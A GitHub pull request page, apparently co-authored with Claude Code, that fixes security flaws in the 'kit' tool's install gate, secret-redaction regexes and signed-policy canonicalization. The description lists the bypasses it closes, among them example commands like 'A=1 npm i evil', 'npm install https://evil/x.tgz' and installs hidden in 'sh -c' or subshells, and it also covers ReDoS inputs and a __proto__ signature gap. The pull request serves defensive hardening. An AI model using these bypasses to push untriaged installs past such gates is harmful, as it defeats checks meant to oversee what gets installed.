Repository navigation
fix(security): close install-gate bypasses + two ReDoS + policy canonicalization gaps - #175
Merged
Merged
Conversation
|
✅ Docker image built successfully
|
…icalization gaps
A deep adversarial pass over kit's gate surface surfaced concrete,
attacker-reachable defects. This fixes all of them with a regression test each.
install-gate — four bypasses that let an UNTRIAGED install through:
- leading env-var assignment (`A=1 npm i evil`) defeated every matcher
- package runners not matched (`npm exec`, `pnpm dlx`, `yarn dlx`, `bun x`)
- remote tarball URL (`npm install https://…/x.tgz`) dropped as "local"
- install hidden in a subshell / `-c` arg (`sh -c '…'`, `$(…)`, backticks)
Parser now strips wrapper bins + `VAR=value`, matches the runners, treats any
`scheme://` target as remote (fail-closed `unverifiable`), and recursively
scans nested commands.
ReDoS (CPU DoS of the gate):
- GCP `"private_key"` redaction had two unbounded runs around a literal;
~18 KB of near-miss `-----END ` tokens hung ~17 s. Now a single bounded
`[^"]{1,8000}` body run (linear; still matches real keys). Reachable via
scan-staged / `kit memory scan` / status redaction.
- `globToRegExp` compiled stacked `**`/`**/` to adjacent `.*`/`(?:.*/)?`
groups; the cluster map is matched on every UserPromptSubmit, so a pulled
branch's clusters.json could hang each prompt. Wildcard runs now coalesce;
over-long globs are refused.
Policy trust anchor — canonicalization soundness:
- `sortDeep`'s `out[k]=…` silently dropped a `__proto__` key, so a
`[__proto__]` table could be appended to a SIGNED policy without changing
its signature ("signed bytes ≠ document"). Now assigns via defineProperty,
refuses a TOML date value (Date≡string collision), validatePolicy rejects
`__proto__`/`constructor`/`prototype`, verifyPolicy treats an
uncanonicalizable doc as invalid (no crash), versionGte guards non-strings.
All 1935 tests pass; verdict unchanged on `kit check --category security`.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_015ERHw6bVUz39sAuoQZ1iyg
sandstream
force-pushed
the
claude/headroom-kit-integration-cmjw7t
branch
from
June 30, 2026 10:46
d5961b1 to
c2d0c7f
Compare
|
✅ Docker image built successfully
|
This was referenced Jun 30, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Description
A deep adversarial pass over kit's gate surface (install-gate, secret/CI regexes, policy + audit signing) surfaced concrete, attacker-reachable defects. This fixes every confirmed one, each with a regression test. Findings were verified empirically (timing/repro) before fixing.
Type of Change
Related Issues
Changes Made
Install-gate — four bypasses that let an UNTRIAGED install through:
A=1 npm i eviltokenized tot[0]="A=1"so no matcher fired → allowed. Now strips a leading run of wrapper bins (env/sudo/…) +VAR=valueassignments.npm exec/pnpm dlx/yarn dlx/pnpm exec/bun xnow gated likenpx.npm install https://evil/x.tgzwas dropped on its.tgzextension. Anyscheme://target is now remote → fail-closedunverifiable.-carg —sh -c '…',$(…), backticks are now recursively scanned (bounded).ReDoS (CPU DoS of the gate):
"private_key"redaction had two unbounded runs around a literal; ~18 KB of near-miss-----ENDtokens hung ~17 s (reachable viascan-staged,kit memory scan, status redaction). Now a single bounded[^"]{1,8000}body run — linear, still matches real keys (~18 KB: 17 s → 2.3 ms).globToRegExpcompiled stacked**/**/to adjacent.*/(?:.*/)?groups; the cluster map is matched on everyUserPromptSubmit, so a pulled branch'sclusters.jsoncould hang each prompt. Wildcard runs now coalesce; over-long globs are refused (80 s → 0.02 ms).Policy trust anchor — canonicalization soundness:
sortDeep'sout[k]=…silently dropped a__proto__key, so a[__proto__]table could be appended to a signed.kit-policy.tomlwithout changing its signature/fingerprint. Now assigns viadefineProperty; refuses a TOML date value (Date≡string collision);validatePolicyrejects__proto__/constructor/prototype;verifyPolicytreats an uncanonicalizable doc asinvalidinstead of crashing;versionGteguards a non-string. (No global prototype pollution existed — NodeJSON.parse/smol-tomlcreate an own property.)Deferred to its own PR (touches a signed format): audit
kid/sigare not bound into the chain hash or HMAC anchor, so a writer-only attacker can strip/re-attribute a sealed entry. Real (Medium), needs a format-versioned change + its own review.Testing
Test Coverage
npm test) — 1935 pass, 0 failManual Testing
kit check --category securityverdict unchanged (no newfail).🤖 Generated with Claude Code
https://claude.ai/code/session_015ERHw6bVUz39sAuoQZ1iyg
Generated by Claude Code